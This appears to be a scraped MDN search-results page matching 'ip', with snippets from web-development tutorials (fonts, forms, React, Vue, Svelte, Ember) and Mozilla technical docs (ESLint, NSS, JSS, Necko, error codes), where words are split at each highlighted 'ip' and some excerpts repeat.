iple font names separated by commas, e.g. p { font-family: "trebuchet ms", verdana, sans-serif; } in such a case, the browser starts at the beginning of the list and looks to see if that font is available on the machine. if it is, it applies that font to the selected elements. if not, it moves on to the nex...
...-decoration: sets/unsets text decorations on fonts (you'll mainly use this to unset the default underline on links when styling them.) available values are: none: unsets any text decorations already present. underline: underlines the text. overline: gives the text an overline. line-through: puts a strikethrough over the text. you should note that text-decoration can accept mult
iple values at once, if you want to add mult
iple decorations simultaneously, for example text-decoration: underline overline. also note that text-decoration is a shorthand property for text-decoration-line, text-decoration-style, and text-decoration-color. you can use combinations of these property values to create interesting effects, for example text-decoration: line-through red wavy. let's look...
...And 6 more matches
Web fonts - Learn web development
can then use the font family name specified inside @font-face to apply your custom font to anything you like, as normal: html { font-family: "myfont", "bitstream vera serif", serif; } the syntax does get a bit more complex than this; we'll go into more detail below. there are two important things to bear in mind about web fonts: browsers support different font formats, so you'll need mult
iple font formats for decent cross-browser support. for example, most modern browsers support woff/woff2 (web open font format versions 1 and 2), the most efficient format around, but older versions of ie only support eot (embedded open type) fonts, and you might need to include an svg version of the font to support older versions of
iphone and android browsers. we'll show you below how to generate ...
...red code. fonts generally aren't free to use. you have to pay for them, and/or follow other license conditions such as crediting the font creator in the code (or on your site). you shouldn't steal fonts and use them without giving proper credit. note: web fonts as a technology have been supported in internet explorer since version 4! you can use the firefox font editor to investigate and man
ipulate the fonts in use on your page, whether they are web fonts or not. this video provides a nice walkthrough: active learning: a web font example with this in mind, let's build up a basic web font example from first princ
iples. it is difficult to demonstrate this using an embedded live example, so instead, we would like you to follow the steps detailed in the below sections, to get an idea o...
...-- a nice interesting font for the headings (maybe a nice display or slab serif font), and slightly less flashy and more readable font for the paragraphs. when you find each font, press on the download button, and save the file inside the same directory as the html and css files you saved earlier. it doesn't matter whether they are ttf (true type fonts) or otf (open type fonts). in each case, unz
ip the font package (web fonts are usually distributed in z
ip files containing the font file(s) and licensing information). you may find mult
iple font files in the package -- some fonts are distributed as a family with different variants available, for example thin, medium, bold, italic, thin italic, etc. for this example, we just want you to concern yourself with a single font file for each choice.
...And 6 more matches
Basic native form controls - Learn web development
fields are the most basic form widgets. they are a very convenient way to let the user enter any kind of data, and we've already seen a few simple examples. note: html form text fields are simple plain text input controls. this means that you cannot use them to perform rich editing (bold, italic, etc.). all rich text editors you'll encounter are custom widgets created with html, css, and javascr
ipt. all basic text controls share some common behaviors: they can be marked as readonly (the user cannot modify the input value but it is still sent with the rest of the form data) or disabled (the input value can't be modified and is never sent with the rest of the form data). they can have a placeholder; this is text that appears inside the text input box that should be used to briefly desc...
...he server stating when an order was placed. because it is hidden, the user can not see nor intentionally edit the value, it will never receive focus, and a screen reader will not notice it either. <input type="hidden" id="timestamp" name="timestamp" value="1286705410"> if you create such an element, it's required to set its name and value attributes. the value can be dynamically set via javascr
ipt. the hidden input type should not have an associated label. other text input types, like search, url, and tel, were added with html5. those will be covered in the next tutorial, html5 input types. checkable items: checkboxes and radio buttons checkable items are controls whose state you can change by clicking on them or their associated labels. there are two kinds of checkable item: the check...
.... if they are not checked, nothing is sent, not even their name. if they are checked but have no value, the name is sent with a value of on. note: you can find the examples from this section on github as checkable-items.html (see it live also). for maximum usability/accessibility, you are advised to surround each list of related items in a <fieldset>, with a <legend> providing an overall descr
iption of the list. each individual pair of <label>/<input> elements should be contained in its own list item (or similar). the associated <label> is generally placed immediately after the radio button or checkbox, with the instructions for the group of radio button or checkboxes generally being the content of the <legend>. see the examples linked above for structural examples. check box a check ...
...And 6 more matches
HTML forms in legacy browsers - Learn web development
b developers learn very quickly (and sometimes painfully) that the web is a very rough place for them. our worst curse is legacy browsers. okay, let's admit it, when we said "legacy browser" we all have in mind safari or old versions of internet explorer, but they are far from the only ones. in the mobile world, when neither the browser nor the os can be updated such as on older android phones or
iphones, the stock browsers that don't update are also legacy browsers. dealing with this wilderness is part of the job. fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers. and html5 <input> types don't fail when not supported: they fall back to type=text. learn about the issues to understand common patterns, it helps to read brow...
...everal different editions of this engine, things are a little trickier. the webkit blog and planet webkit aggregate the best articles by webkit core developers. chrome platform status site is also important. as well as the apple web site. make things simple because html forms involves complex interaction, there is one rule of thumb: keep it simple, also known as the "kiss princ
ipal". there are so many cases where we want forms that are "nicer" or "with advanced functionality", but building efficient html forms is not a question of design or technology. rather, it's about simplicity, intuitivess, and ease of user interaction. the tutorial, forms usability on ux for the masses, explains it well. graceful degradation is web developer's best friend graceful degradation and ...
...s side effects. the best approach remains to not style html form widgets at all. but you can still apply styles to all the surrounding items. and, if you must alter the default styles of your form widgets, define a style guide to ensure consistency among all your form controls so user experience is not destroyed. you can also investigate some hard techniques such as rebuilding widgets with javascr
ipt. but in that case, do not hesitate to charge your client for such foolishness. feature detection and polyfills css and javascr
ipt are awesome technologies, but it's important to ensure you don't break legacy browsers. before using features that aren't fully supported in the browsers your targeting, you should feature detect: css feature detection before styling a replaced form control widget...
...And 6 more matches
UI pseudo-classes - Learn web development
cked on, typed into, etc. a disabled element on the other hand cannot be interacted with in any way, and its data isn't even sent to the server these two states can be targeted using :enabled and :disabled. why are disabled inputs useful? well, sometimes if some data does not apply to a certain user, you might not even want to submit that data when they submit the form. a classic example is a sh
ipping form -- commonly you'll get asked if you want to use the same address for billing and sh
ipping; if so, you can just send a single address to the server, and might as well just disable the billing address fields. let's have a look at an example that does just this. first of all, the html is a simple form containing text inputs, plus a checkbox to toggle disabling the billing address on and of...
...lling and sh
ipping; if so, you can just send a single address to the server, and might as well just disable the billing address fields. let's have a look at an example that does just this. first of all, the html is a simple form containing text inputs, plus a checkbox to toggle disabling the billing address on and off. the billing address fields are disabled by default. ...
...so, you can just send a single address to the server, and might as well just disable the billing address fields. let's have a look at an example that does just this. first of all, the html is a simple form containing text inputs, plus a checkbox to toggle disabling the billing address on and off. the billing address fields are disabled by default. ...
...And 6 more matches
Introduction to the server side - Learn web development
at a web server is. objective: to gain familiarity with what server-side programming is, what it can do, and how it differs from client-side programming. most large-scale websites use server-side code to dynamically display different data when needed, generally pulled out of a database stored on a server and sent to the client to be displayed via some code (e.g. html and javascr
ipt). perhaps the most significant benefit of server-side code is that it allows you to tailor website content for individual users. dynamic sites can highlight content that is more relevant based on user preferences and habits. it can also make sites easier to use by storing personal preferences and information -- for example reusing stored credit card details to streamline subsequent payments. ...
...ent than using static websites). a dynamic site can return different data for a url based on information provided by the user or stored preferences and can perform other operations as part of returning a response (e.g. sending notifications). most of the code to support a dynamic website must run on the server. ...
... requests for dynamic resources are instead forwarded (2) to server-side code (shown in the diagram as a web application). ...
...And 6 more matches
Ember interactivity: Events, classes and state - Learn web development
previous overview: client-side javascr
ipt frameworks next at this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items. along the way, we'll look at using events in ember, creating component classes to contain javascr
ipt code to control interactive features, and setting up a service to keep track of the data state of our app. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascr
ipt features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to create compone...
...lities are. in the below sections we'll do this for each component, and then walk you through how the functionality can be implemented. creating todos for our card-header / todo input, we'll want to be able to submit our typed in todo task when we press the enter key and have it appear in the todos list. we want to be able to capture the text typed into the input. we do this so that our javascr
ipt code knows what we typed in, and we can save our todo and pass that text along to the todo list component to display. we can capture the keydown event via the on modifier, which is just ember syntactic sugar around addeventlistener and removeeventlistener (see this explanation if needed). add the new line shown below to your header.hbs file: <input class='new-todo' aria-label='what needs ...
...utofocus {{on 'keydown' this.onkeydown}} > this new attribute is inside double curly braces, which tells you it is part of ember's dynamic templating syntax. the first argument passed to on is the type of event to respond to (keydown), and the last argument is the event handler -- the code that will run in response to the keydown event firing. as you may expect from dealing with vanilla javascr
ipt objects, the this keyword refers to the "context" or "scope" of the component. one component's this will be different from another component's this. we can define what is available inside this by generating a component class to go along with your component. this is a vanilla javascr
ipt class and has no special meaning to ember, other than extending from the component super-class. to create a h...
...And 6 more matches
Componentizing our React app - Learn web development
objective: to show a sensible way of breaking our todo list app into components. ...
... objective: to show a sensible way of breaking our todo list app into components. ...
... objective: to show a sensible way of breaking our todo list app into components. ...
...And 6 more matches
React interactivity: Events and state - Learn web development
previous overview: client-side javascr
ipt frameworks next with our component plan worked out, it's now time to start updating our app from a completely static ui to one that actually allows us to interact and change things. in this article we'll do this, digging into events and state along the way, and ending up with an app in which we can successfully add and delete tasks, and toggle tasks as completed. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. objective: to learn about handling events and state in react, and use those to start making the case study app interactive. ...
...essfully add and delete tasks, and toggle tasks as completed. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. objective: to learn about handling events and state in react, and use those to start making the case study app interactive. handling events if you've only written vanilla javascr
ipt before now, you might be used to having a separate javascr
ipt file, where you query for some dom nodes and attach listeners to them. for example: const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert("hi!"); }); in react, we write event handlers directly on the elements in our jsx, like this: <button type="button" onclick={() => alert("hi!")} > say...
... in the above example, we're adding an onclick attribute to the <button> element. the value of that attribute is a function that triggers a simple alert. the onclick attribute has special meaning here: it tells react to run a given function when the user clicks on the button. there are a couple of other things to note: the camel-cased nature of onclick is important -- jsx will not recogniz...
...And 6 more matches
Beginning our React todo list - Learn web development
previous overview: client-side javascr
ipt frameworks next let's say that we've been tasked with creating a proof-of-concept in react - an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them. this article will walk you through putting the basic app component structure and styling in place, ready for individual component definition and interactivity, which we'll add later. note: if you need to check your code against our version, you can find a finished version of the sample react app code in our todo-react repository. for a running live version, see https://mdn.github.io/todo-react-build/. ...
...in place, ready for individual component definition and interactivity, which we'll add later. note: if you need to check your code against our version, you can find a finished version of the sample react app code in our todo-react repository. for a running live version, see https://mdn.github.io/todo-react-build/. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. objective: to introduce our todo list case study, and get the basic app structure and styling in place. our app's user stories in software development, a user story is an actionable goal from the perspective of the user. defining user stories before we begin our work will help us focus our work. our app should fulfill the...
...leting are for testing the application. we will not cover testing here. if you stopped your server to do the terminal tasks mentioned above, you'll have to start it again using npm start. project starter code as a starting point for this project, we're going to provide two things: an app() function to replace the one you have now, and some css to style your app. ...
...And 6 more matches
Starting our Svelte Todo list app - Learn web development
in this article we will first have a look at the desired functionality of our app, then we'll create a todos.svelte component and put static markup and styles in place, leaving everything ready to start developing our to-do list app features, which we'll go on to in subsequent articles. we want our users to be able to browse, add and delete tasks, and also to mark them as complete. this will be the basic functionality that we'll be developing in this tutorial series, plus we'll look at some more advanced concepts along the way too. ...
... to in subsequent articles. we want our users to be able to browse, add and delete tasks, and also to mark them as complete. this will be the basic functionality that we'll be developing in this tutorial series, plus we'll look at some more advanced concepts along the way too. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. objective: to learn how to create a svelte component, render it inside another component, pass data into it using props, and save its state. code along with us git clone the github repo (if you haven't already done it) with: gi...
...a recognized convention to follow, allowing you to find your components easily. create a file named src/components/todos.svelte with the following content: <h1>svelte to-do list</h1> change the title element in public/index.html to contain the text svelte to-do list: <title>svelte to-do list</title> open src/app.svelte and replace its contents with the following: <scr
ipt> import todos from './components/todos.svelte' </scr
ipt> <todos /> in development mode, svelte will issue a warning in the browser console when specifying a prop that doesn't exist in the component; in this case we have a name prop being specified when we instantiate the app component inside src/main.js, which isn't used inside app. the console should currently give you a message along ...
...And 6 more matches
Vue conditional rendering: editing existing todos - Learn web development
previous overview: client-side javascr
ipt frameworks next now it is time to add one of the major parts of functionality that we're still missing -- the ability to edit existing todo items. to do this, we will take advantage of vue's conditional rendering capabilities -- namely v-if and v-else -- to allow us to toggle between the existing todo item view, and an edit view where you can update todo item labels. we'll also look at adding functionality to delete todo items. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. vue components are written as a combination of javascr
ipt objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for ins...
...lazy.trim="newlabel" /> </div> <div class="btn-group"> <button type="button" class="btn" @click="oncancel"> cancel <span class="visually-hidden">editing {{label}}</span> </button> <button type="submit" class="btn btn__primary"> save <span class="visually-hidden">edit for {{label}}</span> </button> </div> </form> </template> <scr
ipt> export default { props: { label: { type: string, required: true }, id: { type: string, required: true } }, data() { return { newlabel: this.label }; }, methods: { onsubmit() { if (this.newlabel && this.newlabel !== this.label) { this.$emit("item-edited", this.newlabel); } }, oncancel() { this.$...
...{ type: string, required: true }, id: { type: string, required: true } }, data() { return { newlabel: this.label }; }, methods: { onsubmit() { if (this.newlabel && this.newlabel !== this.label) { this.$emit("item-edited", this.newlabel); } }, oncancel() { this.$emit("edit-cancelled"); } } }; </scr
ipt> <style scoped> .edit-label { font-family: arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; color: #0b0c0c; display: block; margin-bottom: 5px; } input { display: inline-block; margin-top: 0.4rem; width: 100%; min-height: 4.4rem; padding: 0.4rem 0.8rem; border: 2px solid #565656; } form { display: flex; flex-direction: row; ...
...And 6 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
previous overview: client-side javascr
ipt frameworks next we now have sample data in place, and a loop that takes each bit of data and renders it inside a todoitem in our app. what we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. this is what we'll cover in this article. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. ...
...ext <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. this is what we'll cover in this article. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. vue components are written as a combination of javascr
ipt objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn about handling forms in vue, and by association, events, models, and methods. ...
..., events, models, and methods. creating a new to-do form we now have an app that displays a list of to-do items. however, we can't update our list of items without manually changing our code! let's fix that. let's create a new component that will allow us to add a new to-do item. in your components folder, create a new file called todoform.vue. add a blank <template> and a <scr
ipt> tag like before: <template></template> <scr
ipt> export default {}; </scr
ipt> let's add in an html form that lets you enter a new todo item and submit it into the app. we need a <form> with a <label>, an <input>, and a <button>. update your template as follows: <template> <form> <label for="new-todo-input"> what needs to be done? </label> <input type="tex...
...And 6 more matches
Rendering a list of Vue components - Learn web development
previous overview: client-side javascr
ipt frameworks next at this point we've got a fully working component; we're now ready to add mult
iple todoitem components to our app. in this artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. vue components are written as a combination of javascr
ipt objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), y...
...to do that, vue has a special directive, v-for. this is a built-in vue directive that lets us include a loop inside of our template, repeating the rendering of a template feature for each item in an array. ...
...to do that, vue has a special directive, v-for. ...
...And 6 more matches
Accessibility Features in Firefox
editable wiki. keyboard support "mozilla firefox is a web-browser with superior keyboard support." alan cantor, cantor access consulting firefox includes keyboard access to all of its amazing features: browse with caret allows users to select arbitrary content with the keyboard and move through content as if inside a read-only editor. this allows copying arbitrary pieces of text to the cl
ipboard. the f7 key toggles this feature on/off. tabbed browsing helps keyboard users by putting all of the browsed documents in one firefox application window rather than cluttering the alt+tab order which makes keyboard navigation within the entire windows os much simpler. both history and bookmarks can be searched with a "quick search" field that quickly narrows the list down via a substring se...
...nt of regard for the search. it also assists users of input aids because there are far fewer keys to type to get the desired location. for example, it is possible to navigate to the desired link by pressing 2 letter keys rather than tabbing through many links to get there. caret browsing allows you to move through web content one letter a time. ...
...aids because there are far fewer keys to type to get the desired location. for example, it is possible to navigate to the desired link by pressing 2 letter keys rather than tabbing through many links to get there. caret browsing allows you to move through web content one letter a time. you can even select web content and copy it to the cl
ipboard. ...
...And 6 more matches
A bird's-eye view of the Mozilla framework
he directory structure of the source tree. the code samples in the article are based on mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9a1) gecko/20051104 seamonkey/1.1a from a new source tree checked out 11/04/05. the build id is 2005110409. thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/ this article also assumes you are familiar with the javascr
ipt and c++ programming languages, object-oriented programming (oop) terminology and design concepts, the microsoft(r) component object model (com), and the corba omg interface definition language (idl). organization this article first covers some conceptual groundwork, then walks through a user scenario to illustrate how key mozilla architectural components work together to support a simplehelp v...
...ciated with a graphical user interface (gui) control. the various x toolkit implementations provide a set of widgets for ui controls such as menus, command buttons, dialog boxes and scroll bars. the mozilla xptoolkit module provides a similar set of facilities for building cross-platform ui controls implemented as xml user interface language (xul) packages. a xul package consists of a xul descr
iption of the ui widget cascading style sheets customizing appearance javascr
ipt services implementing the ui behavior a package (also known as chrome) is really just a bundling of a set of ui widgets and associated services implementing a particular application feature. chrome and extensions are examples of packages. content (dom) the mozilla document object model (dom) specifies a logical tr...
...age (also known as chrome) is really just a bundling of a set of ui widgets and associated services implementing a particular application feature. chrome and extensions are examples of packages. content (dom) the mozilla document object model (dom) specifies a logical tree structure for storing ui and document content, and provides an api (application programming interface) for accessing and man
ipulating the content. an application such as the browser may have one or more open documents accessible via dom apis. when an html, xml, svg or other type of document is loaded, the nglayout engine (also known as gecko) parses the contents into a dom tree, and handles the layout and rendering of the document pages. the nglayout engine also parses xul ui controls into a dom tree and handles renderin...
...And 6 more matches
Creating MozSearch plugins
lugins. a mozsearch search plugin is an xml file that describes the search engine, its url, and the parameters that need to be passed to that url. warning: mozsearch is non-standard and is intended for internal use within mozilla projects only. it should only be used if your intention is to distribute the search plugin packaged in a firefox extension, or if you are creating plugins meant to be sh
ipped by default in a firefox build. for creating search plugins for installation from the web, see creating opensearch plugins for firefox the plugin file the mozsearch format is similar to the opensearch format. the only difference is the root element and xml namespace. example: searching yahoo! the following xml is the bundled firefox 2 search plugin for searching using yahoo!: <searchplugin...
...web, see creating opensearch plugins for firefox the plugin file the mozsearch format is similar to the opensearch format. the only difference is the root element and xml namespace. ...
...ch plugins for firefox the plugin file the mozsearch format is similar to the opensearch format. the only difference is the root element and xml namespace. ...
...And 6 more matches
ESLint
this automatic linting can happen either while coding, in a code editor, or when using the command line. it also runs on treeherder for every check-in. running eslint eslint comprises of a set of rules that are used to analyse the code for correctness and style consistency. ...
... the command should look like: export path=$path:/c/nodejs enabling eslint for a new directory remove the directory from .eslintignore (in the base directory of the repository) fix errors that occur when running ./mach eslint path/to/dir, see also the no-undef rules below. no-undef the no-undef rule is currently being enabled throughout the code base. ...
...lint path/to/dir, see also the no-undef rules below. no-undef the no-undef rule is currently being enabled throughout the code base. here are some common issues: my scr
ipt is imported into the global browser.xul scope. add a line like: /* eslint-env mozilla/browser-window */ or enable the rule in a .eslintrc.js if it will apply to the whole directory. ...
...And 6 more matches
Commenting IDL for better documentation
eople for whom english is not their native language will be reading your comments (as well as the generated documentation), so try to avoid slang and abbreviations when possible. if possible, avoid putting comments in the middle of the definitions of apis. if an interface is used as a parameter or as the type of the value returned by a method, please use the full name of the interface in the descr
iption of the method. this will help the tools generate proper links to help make the documentation easier to read and browse through. special commands you can use special commands in your doxygen comments; the ones listed below are interpreted by our tools. using these will help generate much higher quality documentation, faster, with less human intervention required. command details @brief d...
... of the method. this will help the tools generate proper links to help make the documentation easier to read and browse through. special commands you can use special commands in your doxygen comments; the ones listed below are interpreted by our tools. using these will help generate much higher quality documentation, faster, with less human intervention required. command details @brief descr
iption please only use this to provide a brief descr
iption of the interface, keep it short and to the point. do not include more than one brief per interface. @param parameter descr
iption every parameter of a method should be documented, only use the parameter name, leave out things like [in]/[out]. @returns descr
iption if the method returns something then this should be included. @throws erro...
...ease only use this to provide a brief descr
iption of the interface, keep it short and to the point. do not include more than one brief per interface. @param parameter descr
iption every parameter of a method should be documented, only use the parameter name, leave out things like [in]/[out]. @returns descr
iption if the method returns something then this should be included. @throws error descr
iption the error should be the actual name of the error constant, in all caps. @note descr
iption used to include a note styled paragraph. @remarks remark a remark paragraph to be included in the remarks section of the documentation. note: this is not yet supported by our documentation tool. using it will make it easier for documenters. @see descr
iption either an interface or a html link. not...
...And 6 more matches
Error codes returned by Mozilla APIs
these constants can be accessed through components.results. for example, by using components.results.ns_error_not_initialized general errors the following errors are general and can occur when using any component. ...
...ns_error_net_reset (0x804b0014) ns_error_ftp_login (0x804b0015) ns_error_ftp_cwd (0x804b0016) ns_error_ftp_pasv (0x804b0017) ns_error_ftp_pwd (0x804b0018) ns_error_not_resumable (0x804b0019) ns_error_invalid_content_encoding (0x804b001b) the content encoding of the source document was incorrect, for example returning a plain html document advertised as content-encoding: gz
ip ns_error_ftp_list (0x804b001c) ns_error_unknown_host (0x804b001e) ns_error_redirect_loop (0x804b001f) ns_error_entity_changed (0x804b0020) ns_error_unknown_proxy_host (0x804b002a) ns_error_unknown_socket_type (0x804b0033) ns_error_socket_create_failed (0x804b0034) ns_error_cache_key_not_found (0x804b003d) ns_error_cache_data_is_stream (0x804b003e) ns_error_cac...
...used (0x804b0048) ns_error_already_opened (0x804b0049) returned from nsichannel.asyncopen() when trying to open the channel again (reopening is not supported). ns_error_first_header_field_component_empty (0x804b0022) while parsing for the first component of a header field using syntax such as that for content-disposition or content-type, the first component was found to be empty. javascr
ipt errors these errors typically occur when interfacing between javascr
ipt and native code, or to xpcom components. ns_error_xpc_not_enough_args (0x80570001) ns_error_xpc_need_out_object (0x80570002) ns_error_xpc_cant_set_out_val (0x80570003) ns_error_xpc_native_returned_failure (0x80570004) ns_error_xpc_cant_get_interface_info (0x80570005) ns_error_xpc_cant_get_param_iface_...
...And 6 more matches
Embedding the editor
editor in a composer window is current owned by the nseditorshell, which in turn is created, owned and destroyed by the nseditorboxobject. the box object is a layout structure that is owned by content nodes, and survives frame destruction/recreation. the box object also has a reference to the docshell for the editor frame. ...
... destruction/recreation. the box object also has a reference to the docshell for the editor frame. xbl creates an nseditorboxobject for each <editor> tag, and allows javascr
ipt to access properties of this box object (such as the nsieditorshell). the <editor> tag is simply a <iframe> on which an editor is created; in all other respects, it behaves like a xul <iframe>. the problem with this ownersh
ip model is that there can be only one editor per <editor> tag, yet the document loaded in the <iframe> may itself contain mult
iple <iframe>s (consider a frameset document, or a document itself containing an <html:iframe>). currently, composer does not deal gracefully with such documents. one editor per window limitation the current composer window xul/c++ architecture has grown up with the assumpti...
...taining an <html:iframe>). currently, composer does not deal gracefully with such documents. one editor per window limitation the current composer window xul/c++ architecture has grown up with the assumption that there can be just one <editor> tag per window. at window construction time, we get the editorshell from the <editor> element, and put that into window.editorshell. thence, lots of javascr
ipt in editor.js, composercommands.js and the various dialog js files assume that they can get at the one true editor via window.editorshell. this assumption was short-sighted, and must be fixed. editor assumes xul document structure there is c++ and js code in the editor that assumes that the editor is living in a xul document, and that there are xul document nodes out there whose attributes can be...
...And 6 more matches
MathML Demo: <mfrac> - fractions
inline, text style, thick line x 2 + 1 x x 2 + 1 x the end. inline, auto, no line x 2 + 1 x the end. ...
... inline, text style, thick line x 2 + 1 x x 2 + 1 x the end. inline, auto, no line x 2 + 1 x the end. ...
... inline, text style, thick line x 2 + 1 x x 2 + 1 x the end. inline, auto, no line x 2 + 1 x the end. ...
...And 6 more matches
JSS FAQ
jss frequently asked questions newsgroup: mozilla.dev.tech.crypto content: what versions of jdk and jce do you suggest? does jss have 64 bit support? is jss f
ips compliant? is there any sample code and documentation? if i don't call setc
ipherpolicy, is the domestic policy used by default? my ssl connection is hanging on windows? how can i tell which ssl/tls c
iphers jss supports? how can i debug my ssl connection? can you explain jss ssl certificate approval callbacks? can i have mult
iple jss instances reading separate db's? once jss initialized, i can't get anymore instances with certificatefactory.getinstance(x.509)? is it possible to sign data in java with jss? how do i convert org.mozil...
...when will jss have jsse support? what versions of jdk and jre do you suggest? jss 3.x works with jdk versions 1.2 or higher, except version 1.3.0. most attention for future development and bug fixing will go to jdk 1.4 and later, so use that if you can. i...
...ll not need to install the jce, but if you using an earlier version of the jdk then you will also have to install jce 1.2.1. see also the document using jss. does jss have 64 bit support? yes, jss 3.2 and higher supports 64 bit. you will need jdk 1.4 or higher and all the 64 bit versions of nspr, and nss. as well you must use the java flag -d64 to specify the 64-bit data model. is jss f
ips compliant? nss is a f
ips-certified software library. jss is considered a f
ips-compliant software library since it only uses nss for any and all crypto routines. is there any sample code and documentation? the using jss document describes how to set up your environment to run jss. the only other documentation is the javadoc. jss example code is essentially developer test code...
...And 6 more matches
NSS API Guidelines
existing nss code. it should also help you understand how to write new code, and where to place it. some of the guidelines in this document, are more forward-looking than documentary. these rules are here to help us all immediately achieve more consistent and usable code, but some existing code won't follow all these rules. nss api structure this section explains the structure and relationsh
ips of the nss libraries. the layering section explains how the nss code is layered, and how higher-level functions wrap low-level functions. the libraries section descibes the nss libraries, the functionality each provides, and the layer in which the library (mostly) operates. layering each separate component of the api should live in its own layer. the functions in these apis should never call ...
...e to higher level layers. that is, access to these functions should only be provided by the api directly above them. the nss apis are layered, as shown in this diagram: the boxes in the gray section, towards the center, are exported only through pkcs #11. pkcs #11 is only exported through the wrappers. the areas which need the most work (both here and throughout the code) is: the relationsh
ip of the certificate library with just about every other component (most noticeably pkcs #12, pkcs #7, and pkcs #11) splitting low key and high key components more clearly the crypto wrappers (pkcs #11 wrappers) and high key pkcs #12 and pkcs #5 libraries nss compiles into the libraries described below. the layer indicates the main layer, seen in the previous diagram, in which the library...
... pkcs #5 libraries nss compiles into the libraries described below. the layer indicates the main layer, seen in the previous diagram, in which the library operates. the directory is the location of the library code in the nss source tree. the public headers is a list of header files that contain types, and functions, that are publicly available to higer-level apis. library descr
iption layer directory public headers certdb provides all certificate handling functions and types. the certdb library man
ipulates the certificate database (add, create, delete certificates and crls). it also provides general certificate-handling routines (create a certificate, verify, add/check certificate extensions). low cert lib/certdb cdbhdl.h, certdb.h, cert.h, ce...
...And 6 more matches
sample2
sage(const char *progname) { fprintf(stderr, "\nusage: %s %s %s %s %s %s %s %s %s %s\n\n", progname, " -<g|a|h|e|ds|v> -d <dbdirpath> ", "[-p <dbpwd> | -f <dbpwdfile>] [-z <noisefilename>] [-a <\"\">]", "-s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <
ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <
ipfilename> | ", "-b <headerfilename> -i <
ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "commands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n...
...-to input and store cert (for ca also)\n\n", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <headerfilename> [-v <\"\">]"); fprintf(stderr, "%s %s\n --to find public key from cert in header and encrypt\n\n", progname, "-e -b <headerfilename> -i <
ipfilename> -e <encryptfilename> "); fprintf(stderr, "%s %s\n --decrypt using corresponding private key \n\n", progname, "-d -b <headerfilename> -e <encryptfilename> -o <opfilename>"); fprintf(stderr, "%s %s\n --sign using private key \n\n", progname, "-s -b <headerfilename> -i <infilename> "); fprintf(stderr, "%s %s\n --verify using public key \n\n", progname, "-v -b <headerfilename> -i <
ipfilename...
...i <
ipfilename> "); fprintf(stderr, "options:\n\n"); fprintf(stderr, "%-30s - db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-30s - db password [optional]\n\n", "-p <dbpwd>"); fprintf(stderr, "%-30s - db password file [optional]\n\n", "-f <dbpwdfile>"); fprintf(stderr, "%-30s - noise file name [optional]\n\n", "-z <noisefilename>"); fprintf(stderr, "%-30s - input file name\n\n", "-i <
ipfilename>"); fprintf(stderr, "%-30s - header file name\n\n", "-b <headerfilename>"); fprintf(stderr, "%-30s - encrypt file name\n\n", "-e <encryptfilename>"); fprintf(stderr, "%-30s - output file name\n\n", "-o <opfilename>"); fprintf(stderr, "%-30s - certificate serial number\n\n", "-m <serialnumber>"); fprintf(stderr, "%-30s - certificate nickname\n\n", "-n <nickname>"); fprintf(stderr, "%-30s -...
...And 6 more matches
Necko walkthrough
t hits necko code. but the interface for clients of necko is important to consider: send request uri helps creates channel setup channel (headers, request data, response callback...) channel->asyncopen. receive response get a callback to each of these: nsistreamlistener::onstartrequest (header info) nsistreamlistener::ondataavailable (data in single or mult
iple chunks) nsistreamlistener::onstoprequest (no more data from http) this all happens on the main thread, in a non-blocking fashion: make your request on the main thread, then carry on and get the async response later, also on the main thread. there is an option to receive ondataavailable specifically on a non-main thread, but all other calls happen on the main thread. then in...
... nshttpconnectionmgr::postevent creates an nsconnevent with params including the handler function, n...
... nshttpconnectionmgr::postevent creates an nsconnevent with params including the handler function, nshttpconnectionmgr::onmsgnewtransaction,...
...And 6 more matches
JS_CompileUTF8FileHandle
obsolete since jsapi 19this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. compile a scr
